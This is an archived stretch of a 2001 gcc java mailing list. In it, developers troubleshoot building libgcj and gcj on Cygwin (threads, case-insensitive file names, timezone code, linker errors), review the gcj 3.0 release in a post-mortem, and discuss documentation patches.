AcED8h82n47MN2H5SDStx8NFmbu5zAAA3cPA From: "Kevin Powell" To: "Julian Hall" Cc: Julian --=20 My understanding is that the win32 threading does not work at this point. I also tried to compile the 3.0 libgcj distribution on Cygwin, but had very little success. Eventually, I switched over to using the CVS version from the trunk. I was able to get some of the way through the bootstrap process by using --enable-threads=3Dposix, but I had to do some further patching: 1) I found a hack for jcf-parse.c that got rid of the case-sensitivity thing (can't remember who posted it). 2) Had to change a strncmp to strncasecmp in parse.c (for the case-sensitivity thing, again) 3) had to hack winnt.c : http://gcc.gnu.org/ml/gcc-patches/2001-06/msg01803.html 4) had to tweak the timezone stuff -- this is mostly documented in the list archives, but I had to read time.h to get everything right. 5) various Makefile hacking to get rid of -lpthread 6) There was an annoying complaint from the parser about reading class files twice, which I got past by commenting out the error code. (which probably would have broken things later) =20 However, I never did get things to work. The thing that I couldn't get past was gcj complaining about multiple definitions of a function in the Class class. I found a discussion of the problem on the list, but the posted solution never worked for me. =20 >From searching through the lists, I've concluded that there's still a bunch of work to be done before gcj works on Cygwin. Kevin Powell -----Original Message----- From: Julian Hall [mailto:jules@acris.co.uk] Sent: Tuesday, July 03, 2001 11:40 AM To: cygwin@cygwin.com; java@gcc.gnu.org Subject: Compiling libgjc under cygwin Hi; I know that for the moment this is unsupported but I'm trying to get libgjc from the gcc-3.0 distribution to compile in a cygwin environment. I've figured out the following: - I've looked at win32-threads.cc and the threads porting documentation, and guess from the looks of it that it should work OK as distributed (?) - I modified configure so that it would recognise gcc's win32 thread model and choose win32-threads.cc - The resulting makefile had java.awt packages that failed to compile, so I simply removed all of the awt and related sources. I think the compilation errors here were due to the case-insensitivity of the file system: they were effectively errors about duplicate class definitions in (eg) image.java and Image.java. - java/util/natGregorianCalendar.cc wasn't compiling correctly; I had to forcibly undefine HAVE_TIMEZONE to persuade it to work, as the definition of 'timezone' it used was incompatible with the cygwin definition. - Fastjar required patching in order to function correctly; the patch I applied is attached, and simply causes files to be opened with the O_BINARY flag if it is defined. However, I am still faced with compile errors when it comes to linking the utilitty programs that are part of the library; the errors specifically are: ./.libs/libgcj.a(natClass.o): In function `ZN4java4lang5Class4sizeEv': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc -3.0/libjava/java/lang/Class.h(.text$_ZN4java4lang5ClassC1Ev+0x0): multiple definition of `java::lang::Class::Class()' ./.libs/libgcj.a(Class.o):/usr/local/src/gcc-cygwin-w32threads/i686-pc-c ygwin/libjava/../../../gcc-3.0/libjava/java/lang/Class.java:168: first defined here ./.libs/libgcj.a(win32-threads.o): In function `Z18_Jv_ThreadInitDataPN4java4lang6ThreadE': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc -3.0/libjava/win32-threads.cc:129: undefined reference to `operator new(unsigned)' ./.libs/libgcj.a(win32-threads.o): In function `Z21_Jv_ThreadDestroyDataP12_Jv_Thread_t': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc -3.0/libjava/win32-threads.cc:138: undefined reference to `operator delete(void*)' ./.libs/libgcj.a(natFirstThread.o): In function `ZN3gnu3gcj7runtime11FirstThread3runEv': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc -3.0/libjava/gnu/gcj/runtime/natFirstThread.cc:60: undefined reference to `JNI_OnLoad' /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc -3.0/libjava/gnu/gcj/runtime/natFirstThread.cc:68: undefined reference to `JNI_OnLoad' ./.libs/libgcj.a(SimpleTimeZone.o)(.data+0x0):SimpleTimeZone.java: undefined reference to `Jv_byteVTable' ./.libs/libgcj.a(ZipEntry.o): In function `ZN4java4util3zip8ZipEntryC1EPNS_4lang6StringE': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc -3.0/libjava/java/util/zip/ZipEntry.java:65: undefined reference to `Jv_shortVTable' ./.libs/libgcj.a(GregorianCalendar.o)(.data+0x0):GregorianCalendar.java: undefined reference to `Jv_intVTable' ./.libs/libgcj.a(GregorianCalendar.o): In function `ZN4java4util17GregorianCalendarC1EPNS0_8TimeZoneE': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc -3.0/libjava/java/util/GregorianCalendar.java:100: undefined reference to `Jv_intVTable' ./.libs/libgcj.a(GregorianCalendar.o): In function 'ZN4java4util17GregorianCalendarC1EPNS0_8TimeZoneEPNS0_6LocaleE': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc -3.0/libjava/java/util/GregorianCalendar.java:113: undefined reference to `Jv_intVTable' ./.libs/libgcj.a(InetAddress.o): In function `ZN4java3net11InetAddressC1EP6JArrayIcEPNS_4lang6StringE': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc -3.0/libjava/java/net/InetAddress.java:74: undefined reference to `Jv_byteVTable' ./.libs/libgcj.a(natInflater.o): In function `ZN4java4util3zip8Inflater3endEv': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc -3.0/libjava/java/util/zip/natInflater.cc:53: undefined reference to `inflateEnd' ./.libs/libgcj.a(natInflater.o): In function `ZN4java4util3zip8Inflater7inflateEP6JArrayIcEii': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc -3.0/libjava/java/util/zip/natInflater.cc:107: undefined reference to `inflate' ./.libs/libgcj.a(natInflater.o): In function `ZN4java4util3zip8Inflater5resetEv': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc -3.0/libjava/java/util/zip/natInflater.cc:151: undefined reference to `inflateReset' ./.libs/libgcj.a(natInflater.o): In function `ZN4java4util3zip8Inflater13setDictionaryEP6JArrayIcEii': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc -3.0/libjava/gcj/array.h:46: undefined reference to `inflateSetDictionary' ./.libs/libgcj.a(natInflater.o): In function `ZN4java4util3zip8Inflater4initEb': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc -3.0/libjava/java/util/zip/natInflater.cc:200: undefined reference to `inflateInit2_' collect2: ld returned 1 exit status I've also tried configuring the entire system with --enable-threads=3Dposix, but gcc is unable to compile correctly if I do this. Any ideas what needs to be done to solve these problems? Oh, and thanks for producing such great products; I've been using cygwin under windows for quite a while and have just started with gcj under linux and like the results so far! Great work. Jules From java-return-6359-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 03 20:49:46 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13515 invoked by alias); 3 Jul 2001 20:49:45 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13466 invoked from network); 3 Jul 2001 20:49:43 -0000 Received: from unknown (HELO poboxer.pobox.com) (199.199.248.19) by sourceware.cygnus.com with SMTP; 3 Jul 2001 20:49:43 -0000 Received: from spanky.love.edu.love.edu (spanky.love.edu [172.30.0.35]) by poboxer.pobox.com (8.9.3/8.9.3) with ESMTP id PAA25377 for ; Tue, 3 Jul 2001 15:48:23 -0500 From: Tony Kimball MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15170.12277.559517.136781@spanky.love.edu> Date: Tue, 3 Jul 2001 15:49:57 -0500 X-Face: \h9Jg:Cuivl4S*UP-)gO.6O=T]]@ncM*tn4zG);)lk#4|lqEx=*talx?.Gk,dMQU2)ptPC17cpBzm(l'M|H8BUF1&]dDCxZ.c~Wy6-j,^V1E(NtX$FpkkdnJixsJHE95JlhO 5\M3jh'YiO7KPCn0~W`Ro44_TB@&JuuqRqgPL'0/{):7rU-%.*@/>q?1&Ed Reply-To: alk@pobox.com To: java@gcc.gnu.org Subject: __CTOR_LIST__ X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid References: <15165.16007.509486.880965@spanky.love.edu> This message is intended to correct the record of the mailing list archives, regarding this subject, to help insure that the erroneous statements of my previous two messages do not lead any innocents astray. ld versions have nothing to do with my earlier difficulty regarding static constructors: I was ignorantly overlooking the role of link order in the construction of the .init section. As Ian Lance Taylor helpfully pointed out to me elsewhere, crtbegin.o and crtend.o must bracket any such constructors in the link order. From java-return-6360-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 03 21:26:12 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 994 invoked by alias); 3 Jul 2001 21:26:11 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 32437 invoked from network); 3 Jul 2001 21:24:47 -0000 Received: from unknown (HELO mail.cs.tu-berlin.de) (130.149.17.13) by sourceware.cygnus.com with SMTP; 3 Jul 2001 21:24:47 -0000 Received: from bolero.cs.tu-berlin.de (doko@bolero.cs.tu-berlin.de [130.149.19.1]) by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id XAA08129; Tue, 3 Jul 2001 23:18:59 +0200 (MET DST) Received: (from doko@localhost) by bolero.cs.tu-berlin.de (8.10.2+Sun/8.9.3) id f63LIxs14765; Tue, 3 Jul 2001 23:18:59 +0200 (MEST) From: Matthias Klose MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15170.14018.503061.124372@gargle.gargle.HOWL> Date: Tue, 3 Jul 2001 23:18:58 +0200 To: gcc-patches@gcc.gnu.org, java@gcc.gnu.org Cc: "Joseph S. Myers" , Stephane Carrez Subject: [3.0] RFC: generate java man pages from texi sources In-Reply-To: <15168.58340.525902.202263@gargle.gargle.HOWL> References: <15168.58340.525902.202263@gargle.gargle.HOWL> X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Matthias Klose writes: > bootstrap currently running. verified that the generated gcc man pages > are the same as with the old texi2pod.pl. bootstrap and install sucessful on i386-linux. patch applies to mainline as well (20010702). I'd like to have feedback where gij, jv-convert and fastjar should be documented. From java-return-6361-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 03 22:33:06 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 1968 invoked by alias); 3 Jul 2001 22:33:05 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 874 invoked from network); 3 Jul 2001 22:31:37 -0000 Received: from unknown (HELO itdomain002.itdomain.net.au) (210.8.130.83) by sourceware.cygnus.com with SMTP; 3 Jul 2001 22:31:37 -0000 Received: from rob95.local ([61.9.147.194]) by itdomain002.itdomain.net.au with Microsoft SMTPSVC(5.0.2195.1600); Wed, 4 Jul 2001 08:21:26 +1000 Message-ID: <035301c10410$41c67ec0$806410ac@local> From: "Robert Collins" To: "Julian Hall" , , References: <3B421165.1D114955@acris.co.uk> Subject: Re: Compiling libgjc under cygwin Date: Wed, 4 Jul 2001 08:33:59 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-OriginalArrivalTime: 03 Jul 2001 22:21:26.0944 (UTC) FILETIME=[802B0200:01C1040E] ----- Original Message ----- From: "Julian Hall" To: ; Sent: Wednesday, July 04, 2001 4:39 AM Subject: Compiling libgjc under cygwin > Hi; I know that for the moment this is unsupported but I'm trying to get > libgjc from the gcc-3.0 distribution to compile in a cygwin environment. What target do you have (win32/mingw | cygwin | unix*) ? > I've figured out the following: > > - I've looked at win32-threads.cc and the threads porting documentation, > and guess from the looks of it that it should work OK as distributed (?) Ah, no. Cygwin != win32. On cygwin, to ensure that fork() and fork() dependant calls work properly I strongly recommend the use of pthreads. Some serious bugs and have been corrected recently so they should :} be working fine. Speed wise they are now comparable to the win32-pthreads library. win32 threads _may_ work, but no guarantees. > - I modified configure so that it would recognise gcc's win32 thread > model and choose win32-threads.cc > - The resulting makefile had java.awt packages that failed to compile, > so I simply removed all of the awt and related sources. I think the > compilation errors here were due to the case-insensitivity of the file > system: they were effectively errors about duplicate class definitions > in (eg) image.java and Image.java. There were patches posted by me and another cygwinner whose name escapes me (sorry!) about 4-5 months ago. Search for cygwin in the java list archives. I go the filename issues fixed at that point. Unfortunately the patches weren't really ready for integration - they would likely have destabilised unix platforms. Some enthusatic cygwin + java person probably needs to hop on and stay on the java list. > - java/util/natGregorianCalendar.cc wasn't compiling correctly; I had to > forcibly undefine HAVE_TIMEZONE to persuade it to work, as the > definition of 'timezone' it used was incompatible with the cygwin > definition. There are patches that dont' require breaking unix for this. > - Fastjar required patching in order to function correctly; the patch I > applied is attached, and simply causes files to be opened with the > O_BINARY flag if it is defined. I don't think we had tackled that (bin mounts were used) - thanks for the patches. > However, I am still faced with compile errors when it comes to linking > the utilitty programs that are part of the library; the errors > specifically are: > > ./.libs/libgcj.a(natClass.o): In function `ZN4java4lang5Class4sizeEv': > /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0 /libjava/java/lang/Class.h(.text$_ZN4java4lang5ClassC1Ev+0x0): > multiple definition of `java::lang::Class::Class()' This looks like the case sensivity thing we already squashed. Try looking up our old patches. Rob From java-return-6362-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 03 23:28:29 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 1936 invoked by alias); 3 Jul 2001 23:28:29 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 1898 invoked from network); 3 Jul 2001 23:28:28 -0000 Received: from unknown (HELO old-n3.infonet.com) (192.157.130.139) by sourceware.cygnus.com with SMTP; 3 Jul 2001 23:28:28 -0000 Received: from infexch02.infonet.com (riotinto.com [192.92.62.84]) by old-n3.infonet.com (8.11.3/8.6.12) with ESMTP id f63NP2M20258; Tue, 3 Jul 2001 23:25:03 GMT Received: by INFEXCH02 with Internet Mail Service (5.5.2653.19) id ; Wed, 4 Jul 2001 00:28:12 +0100 Message-ID: <8D00C32549556B4E977F81DBC24E985D1B1B08@crtsmail1.technol_exch.corp.riotinto.org> From: "Billinghurst, David (CRTS)" To: "'Julian Hall'" , cygwin@cygwin.com, java@gcc.gnu.org Subject: RE: Compiling libgjc under cygwin Date: Wed, 4 Jul 2001 00:26:32 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Julian, Have a look at http://gcc.gnu.org/ml/java/2001-04/msg00377.html. That work showed it is possible, but needs polishing. I put it aside while my copyright assignment got sorted out (Must follow up with FSF). > -----Original Message----- > From: Julian Hall [SMTP:jules@acris.co.uk] > Sent: Wednesday, 4 July 2001 4:40 > To: cygwin@cygwin.com; java@gcc.gnu.org > Subject: Compiling libgjc under cygwin > > Hi; I know that for the moment this is unsupported but I'm trying to get > libgjc from the gcc-3.0 distribution to compile in a cygwin environment. > > From java-return-6363-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 04 17:45:38 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 27406 invoked by alias); 4 Jul 2001 17:45:36 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 27370 invoked from network); 4 Jul 2001 17:45:34 -0000 Received: from unknown (HELO mail01-br2.mercador.com) (200.213.14.129) by sourceware.cygnus.com with SMTP; 4 Jul 2001 17:45:34 -0000 Received: by MAIL01-BR2 with Internet Mail Service (5.5.2653.19) id ; Wed, 4 Jul 2001 14:48:44 -0300 Message-ID: <2BE4F32E01B1D411AC93000629133C7F27AC56@MAIL01-BR2> From: Gustavo Hexsel To: java@gcc.gnu.org Subject: Connection with existing Jars Date: Wed, 4 Jul 2001 14:48:43 -0300 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable -----BEGIN PGP SIGNED MESSAGE----- Hello, I=B4m trying to start using GCJ with Cygwin. Is there a binary version available somewhere? I received a few messages explaining how = to build from the sources, but it seems a rather complicated process. Another question: does classes generated using GCJ access regular classes at the classpath? Can I use standard Swing packages in this = way? []s Quartz - -----Original Message----- From: Billinghurst, David (CRTS) [mailto:David.Billinghurst@riotinto.com] Sent: ter=E7a-feira, 3 de julho de 2001 20:27 To: 'Julian Hall'; cygwin@cygwin.com; java@gcc.gnu.org Subject: RE: Compiling libgjc under cygwin Julian, Have a look at http://gcc.gnu.org/ml/java/2001-04/msg00377.html. That = work showed it is possible, but needs polishing. I put it aside while my copyright assignment got sorted out (Must follow up with FSF). =20 > -----Original Message----- > From: Julian Hall [SMTP:jules@acris.co.uk] > Sent: Wednesday, 4 July 2001 4:40 > To: cygwin@cygwin.com; java@gcc.gnu.org > Subject: Compiling libgjc under cygwin >=20 > Hi; I know that for the moment this is unsupported but I'm trying to = get > libgjc from the gcc-3.0 distribution to compile in a cygwin = environment. >=20 >=20 -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQEVAwUBO0NW+hHqwb4rXhmVAQFksQgAuax5XgEqWWitEn7+jBwXBDUcIeALVbjk znPJ5NM6RYIirbjYd27IvveqwoOxBnc6SsUB4+IfPe4a8/PXiWJ9OcFmhEfKO625 q0nPDvgZr47rA+bW8h3vaPYo4y8He4P2iZSBbYIE0qbo1G1sxWPJkEmlEJ7KzoeO wK2BRdvGCj7Dvz8KXLTNogWOH1TCZipQUX73xql3v4oYxSt9JawY71vQdtKTtRI/ ksXUB2TRXy5nSQxRnwLCf9cu29rP6L7QCeIUnvHKadjzGUuZlPhwMvi6tP9PR5m0 7gempACYmBbiWf8H4CaTo1o3Ks+6yHwlsc8uBwg7Y2AtLPelITdtFA=3D=3D =3DUqZg -----END PGP SIGNATURE----- From java-return-6364-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 04 18:01:17 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 7847 invoked by alias); 4 Jul 2001 18:01:16 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 7779 invoked from network); 4 Jul 2001 18:01:14 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 4 Jul 2001 18:01:14 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA29753; Wed, 4 Jul 2001 12:01:11 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id MAA02536; Wed, 4 Jul 2001 12:22:11 -0600 To: Java Discuss List Cc: GCC Hackers Subject: gcj 3.0 post-mortem X-Zippy: This is PLEASANT! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 04 Jul 2001 12:22:10 -0600 Message-ID: <87ith8d06l.fsf@creche.redhat.com> Lines: 54 X-Mailer: Gnus v5.7/Emacs 20.5 Benjamin Kosnik had the good idea that we should look at how the gcj 3.0 release compared to our expectations. Overall I think we did ok. We had planned to have it working on Linux (x86, IA-64, alpha, and PPC), plus Solaris. I believe in the end the IA-64 Linux and Solaris ports did not work. This happened because the new EH code required more work than we had anticipated, and our lone Java EH expert, Andrew Haley, was scheduled to work on other projects during the window we needed his expertise. We had planned to get the new Calendar code into 3.0, but I never found the time to do it. We had planned to have in-tree builds working, but I made a mistake and failed to test `make install'. This is fixed for 3.0.1 already. My recommendations: - I'm not really aware enough of the entirety of the EH saga to really make recommendations there. I'm guessing there was a (probably minor) communications gap between the gcc developers and the Java developers about Java's requirements for the new EH code. Andrew, can you say more here? What can we do differently next time to avoid a suprise like this? - For the Calendar code, I should have asked for a volunteer to do the merge. In fact I think there was a volunteer and I told him that I would be doing it. My recommendation is that I say "yes" more frequently to volunteers. - The in-tree build problem was also mine :-(. That one I classify as a simple mistake; I don't think there is a procedural issue to address. I did think that there were bumps in the process, mostly relating to the "non-critical" nature of the Java code. Many of these bumps have already been ironed out, and I think this will happen without any special effort as the Java front end gains in acceptance in gcc-land. For 3.0.1: - Ideally we would get the Solaris port working. It is unclear if Andrew has the time to do that though. Anybody else have comments? Is there something I missed? I'm unaware of any other to-do items for 3.0.1. Are there more? Tom From java-return-6365-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 04 18:14:02 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 14501 invoked by alias); 4 Jul 2001 18:14:02 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 14418 invoked from network); 4 Jul 2001 18:13:58 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 4 Jul 2001 18:13:58 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA30823; Wed, 4 Jul 2001 12:13:44 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id MAA02614; Wed, 4 Jul 2001 12:34:44 -0600 To: "Kevin Powell" Cc: "Julian Hall" , , Tony Kimball Subject: Re: Compiling libgjc under cygwin References: <6A12161B7896234F83FC0A5A64AEECD709FDB7@TRINIDAD.enuvis.com> X-Zippy: ..Everything is....FLIPPING AROUND!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 04 Jul 2001 12:34:44 -0600 In-Reply-To: "Kevin Powell"'s message of "Tue, 3 Jul 2001 12:56:50 -0700" Message-ID: <87bsn04k6z.fsf@creche.redhat.com> Lines: 18 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Kevin" == Kevin Powell writes: Kevin> I was able to get some of the way through the bootstrap process Kevin> by using --enable-threads=posix, but I had to do some further Kevin> patching: Kevin> [ ... ] I'd really like to get gcj-on-Windows patches in to the tree. That way we can make incremental improvements towards getting the Windows port to work, and potentially have multiple people work on it without repeating each others' work. What is your paperwork status? BTW, Tony, what is your status? As I recall you also had relevant Windows patches. Tom From java-return-6366-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 04 18:23:29 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 21342 invoked by alias); 4 Jul 2001 18:23:28 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 21258 invoked from network); 4 Jul 2001 18:23:25 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 4 Jul 2001 18:23:25 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA31754; Wed, 4 Jul 2001 12:23:15 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id MAA02650; Wed, 4 Jul 2001 12:44:14 -0600 To: Julian Hall Cc: cygwin@cygwin.com, java@gcc.gnu.org Subject: Re: Compiling libgjc under cygwin References: <3B421165.1D114955@acris.co.uk> X-Zippy: I HAVE a towel. X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 04 Jul 2001 12:44:12 -0600 In-Reply-To: Julian Hall's message of "Tue, 03 Jul 2001 19:39:33 +0100" Message-ID: <87ae2k4jr7.fsf@creche.redhat.com> Lines: 105 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Julian" == Julian Hall writes: Julian> Hi; I know that for the moment this is unsupported but I'm Julian> trying to get libgjc from the gcc-3.0 distribution to compile Julian> in a cygwin environment. You'd probably have an easier time starting from the gcc cvs trunk (aka "3.1"). This way (assuming paperwork is in order and you're interested in doing this), we could simply check in patches piecemeal as you write them. Julian> - I've looked at win32-threads.cc and the threads porting Julian> documentation, and guess from the looks of it that it should Julian> work OK as distributed (?) It is unclear to me. I believe the Windows thread code is largely correct, but it doesn't properly implement Thread.interrupt (neither does the Posix thread code, right now). However, I'm far from certain. (I see now that other people in this thread have responded about this. They are probably right.) Julian> - I modified configure so that it would recognise gcc's win32 Julian> thread model and choose win32-threads.cc Nice. Please send a patch for this. BTW what is your paperwork status with the FSF? Can we get you to sign things so that we can check in your patches? (We can accept a small number of small patches without paperwork, but things really are easier once this hurdle is cleared.) If you can sign paperwork, contact me off-list and I will send you the form. Julian> - The resulting makefile had java.awt packages that failed to Julian> compile, so I simply removed all of the awt and related Julian> sources. I think the compilation errors here were due to the Julian> case-insensitivity of the file system: they were effectively Julian> errors about duplicate class definitions in (eg) image.java Julian> and Image.java. We've talked about this on the list before. I believe compiler modifications will be necessary to make this work correctly. Tony Kimball (who is on this list) has done some work on the Windows port. I forget what patches he has, but he might have this one. Also David Billinghurst has done some work here. Offhand I don't know his status either :-( Julian> - java/util/natGregorianCalendar.cc wasn't compiling Julian> correctly; I had to forcibly undefine HAVE_TIMEZONE to Julian> persuade it to work, as the definition of 'timezone' it used Julian> was incompatible with the cygwin definition. On the cvs trunk, we've removed natGregorianCalendar.cc. Julian> - Fastjar required patching in order to function correctly; Julian> the patch I applied is attached, and simply causes files to be Julian> opened with the O_BINARY flag if it is defined. Nice, thanks. In the future please write a ChangeLog entry when you send a patch. I'll check this one in sometime. Julian> multiple definition of `java::lang::Class::Class()' I just saw a PR about this. I'm not positive of the cause, as I have not seen the problem myself. The PR recommends changing java/lang/Class.h so that this: Class () {}; becomes: Class (); This seems reasonable to me. Julian> /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/win32-threads.cc:129: Julian> undefined reference to `operator new(unsigned)' Offhand I don't know why you get this. Julian> undefined reference to `JNI_OnLoad' This happens because Windows can't handle the weak definition of JNI_OnLoad. The very best approach would be to have a `HAVE_ATTRIBUTE_WEAK' test in configure.in which would fail on Windows; then we could conditionally use JNI_OnLoad. That might be hard to actually write. So the second best would be to do the same thing but instead of doing a test, just use a setting in configure.host. Julian> ./.libs/libgcj.a(SimpleTimeZone.o)(.data+0x0):SimpleTimeZone.java: Julian> undefined reference to `Jv_byteVTable' I don't understand this one. I don't really know much about Windows, and what I did know I forgot (I last did Windows work in 1997). I seem to recall that there was a difference in the linking model that made some things work strangely (from a Unix linking perspective). Some of these undefined references (Jv_*VTable at least) are to data symbols, not functions. Does that make a difference? Failing that, I tend to approach these problems by using `nm' to see if I can understand what is actually being generated versus what I expect. The Jv_*VTable symbols are all defined in prims.cc. Tom From java-return-6367-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 04 18:38:40 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 31830 invoked by alias); 4 Jul 2001 18:38:40 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 31793 invoked from network); 4 Jul 2001 18:38:39 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 4 Jul 2001 18:38:39 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA00442; Wed, 4 Jul 2001 12:38:36 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id MAA02808; Wed, 4 Jul 2001 12:59:37 -0600 To: Gustavo Hexsel Cc: java@gcc.gnu.org Subject: Re: Connection with existing Jars References: <2BE4F32E01B1D411AC93000629133C7F27AC56@MAIL01-BR2> X-Zippy: MMM-MM!! So THIS is BIO-NEBULATION! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 04 Jul 2001 12:59:35 -0600 In-Reply-To: Gustavo Hexsel's message of "Wed, 4 Jul 2001 14:48:43 -0300" Message-ID: <87hewstt9k.fsf@creche.redhat.com> Lines: 29 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Gustavo" == Gustavo Hexsel writes: Gustavo> Hello, I´m trying to start using GCJ with Cygwin. Is there a Gustavo> binary version available somewhere? I received a few messages Gustavo> explaining how to build from the sources, but it seems a Gustavo> rather complicated process. Nope, gcj has not yet been ported to Windows. Some of the work is done, but it is not complete. Gustavo> Another question: does classes generated using GCJ access Gustavo> regular classes at the classpath? Sort of. Classes which are implemented in libgcj are compiled and are available without any searching. An unknown class, referenced say with `Class.forName()', will be loaded at runtime just as with the JDK. gcj will try to load 